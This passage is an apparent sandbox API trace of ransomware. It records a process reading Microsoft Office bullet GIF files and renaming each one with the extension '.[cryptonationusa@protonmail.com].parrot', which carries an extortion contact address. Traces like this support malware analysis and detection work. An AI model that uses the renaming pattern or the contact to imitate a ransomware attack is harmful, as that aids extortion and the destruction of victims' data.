liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.626] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21312_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21312_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21312_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21312_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0165.637] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0165.637] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0165.638] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.638] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x45, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x45, lpOverlapped=0x0) returned 1 [0165.638] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.639] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21314_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21314_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21314_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21314_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0165.643] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0165.643] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0165.644] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.644] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x113, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x113, lpOverlapped=0x0) returned 1 [0165.644] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.644] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21316_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21316_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21316_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21316_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0165.657] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0165.657] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0165.658] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.658] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xae, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xae, lpOverlapped=0x0) returned 1 [0165.659] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.659] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21327_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21327_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21327_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21327_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0165.664] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0165.664] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0165.665] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.665] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x131, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x131, lpOverlapped=0x0) returned 1 [0165.665] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.665] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21329_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21329_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21329_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21329_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0165.672] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0165.672] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0165.673] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.673] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x460, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x460, lpOverlapped=0x0) returned 1 [0165.674] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.674] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21331_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21331_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21331_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21331_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0165.678] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0165.678] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0165.679] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.679] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1a0, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1a0, lpOverlapped=0x0) returned 1 [0165.680] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.680] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21333_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21333_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21333_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21333_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0165.696] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0165.696] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0165.697] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.697] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3cb, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x3cb, lpOverlapped=0x0) returned 1 [0165.698] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.698] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21335_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21335_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21335_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21335_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0165.703] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0165.703] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0165.704] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.704] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x146, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x146, lpOverlapped=0x0) returned 1 [0165.704] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.704] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21337_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21337_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21337_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21337_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0165.713] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0165.713] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0165.714] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.714] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6c, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x6c, lpOverlapped=0x0) returned 1 [0165.714] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.715] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21339_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21339_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21339_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21339_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0165.719] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0165.719] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0165.720] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.720] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x10a, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x10a, lpOverlapped=0x0) returned 1 [0165.720] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.721] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21342_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21342_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21342_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21342_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0165.726] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0165.726] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0165.726] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.727] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb6, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xb6, lpOverlapped=0x0) returned 1 [0165.727] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.727] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21343_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21343_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21343_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21343_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0165.732] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0165.732] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0165.733] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.733] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb2, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xb2, lpOverlapped=0x0) returned 1 [0165.734] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.734] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21344_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21344_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21344_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21344_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0165.738] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0165.738] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0165.739] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.739] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xf5, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xf5, lpOverlapped=0x0) returned 1 [0165.739] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.739] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21364_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21364_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21364_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21364_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0165.744] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0165.744] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0165.745] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.745] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xec, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xec, lpOverlapped=0x0) returned 1 [0165.745] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.745] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21365_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21365_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21365_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21365_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0165.749] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0165.750] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0165.751] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.751] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xc8, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xc8, lpOverlapped=0x0) returned 1 [0165.751] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.751] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21366_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21366_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21366_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21366_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0165.757] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0165.757] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0165.758] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.758] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd4, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xd4, lpOverlapped=0x0) returned 1 [0165.758] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.758] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21375_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21375_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21375_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21375_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0165.762] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0165.762] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0165.763] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.763] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb4, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xb4, lpOverlapped=0x0) returned 1 [0165.763] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.763] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21376_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21376_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21376_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21376_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0165.814] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0165.814] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) 